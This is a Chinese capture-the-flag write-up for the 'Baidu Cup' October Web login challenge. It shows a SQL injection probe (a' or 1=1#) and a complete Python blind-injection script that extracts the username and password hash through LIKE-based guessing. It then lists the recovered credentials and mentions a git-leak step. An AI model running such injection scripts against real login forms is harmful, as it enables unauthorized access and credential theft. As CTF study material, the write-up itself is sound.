“百度杯” CTF比赛 十月场 Web-登录
程序员文章站
2024-03-20 10:29:04
...
1. 浏览
浏览网址:
按流程先把源码、请求头、响应头查看一遍,没有线索,尝试弱口令登录,提示用户名不存在
2. 注入
用户名输入a' or 1=1#
,密码随便,提示密码错误,存在注入点。
编写注入脚本如下:
# -*- coding: utf-8 -*-
import requests
url="http://84b5fe286b214096b9d0a44928cddd242fb7291df5c24b54.changame.ichunqiu.com/Challenges/login.php"
contentchr_list=list('1234567890qwertyuiopasdfghjklzxcvbnm')
def judge_response(name):
headers = {'User-Agent': "Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"}
payload = dict(username=name, password='test')
response = requests.post(url=url, data=payload, headers=headers)
judgement = response.text.__len__()
if judgement == 4:
return True
elif judgement == 6:
return False
def get_content(name):
content = ''
for i in range(len(contentchr_list)):
for index in contentchr_list:
payload = "a' or {} like '{}%' # ".format(name, content+index)
response = judge_response(payload)
if response == True:
content += index
#print(content)
break
return content
if __name__=='__main__':
username = get_content('user_n3me')
print('username:', username)
password = get_content('p3ss_w0rd')
print('password:', password)
//username: bctf3dm1n
//password: 2bfb1532857ddc0033fdae5bde3facdf
- 注:
- 其实在使用
username = a' or database() = 'ctf'#
猜中数据库名为ctf
之后,尝试使用ASCII爆出表名和列名过程中发现爆不出来,可能过滤了一些关键字符吧,还没找出来过滤了什么; -
user_n3me
、p3ss_w0rd
在源码的class
属性中,尝试发现是列名; - 该**过程是不区分大小写的(登录时也不区分),所以为了节省时间省略了大写字母;
- password为md5加密,解密可获得正确密码为
adminqwe123666
; - 后续想尝试使用sqlmap跑一下,,待定。
3. 成功登陆
得到提示
提示该目录下存在.bctfg1t
、index.php
、login.php
两个文件和一个隐藏目录,其中两个文件我们在登录过程中已经使用过了,所以目标就在隐藏目录里了,然而该目录并没有访问权限,一筹莫展查看大佬wp才知道是git泄露。 直接上大佬的工具Git_Extract提取,即可获得flag存在的隐藏文件,访问即可获得falg(提交flag错误,小声bb)。
================================================================================
上一篇: 书小宅之网页设计——基本概念
下一篇: 二分查找的递归实现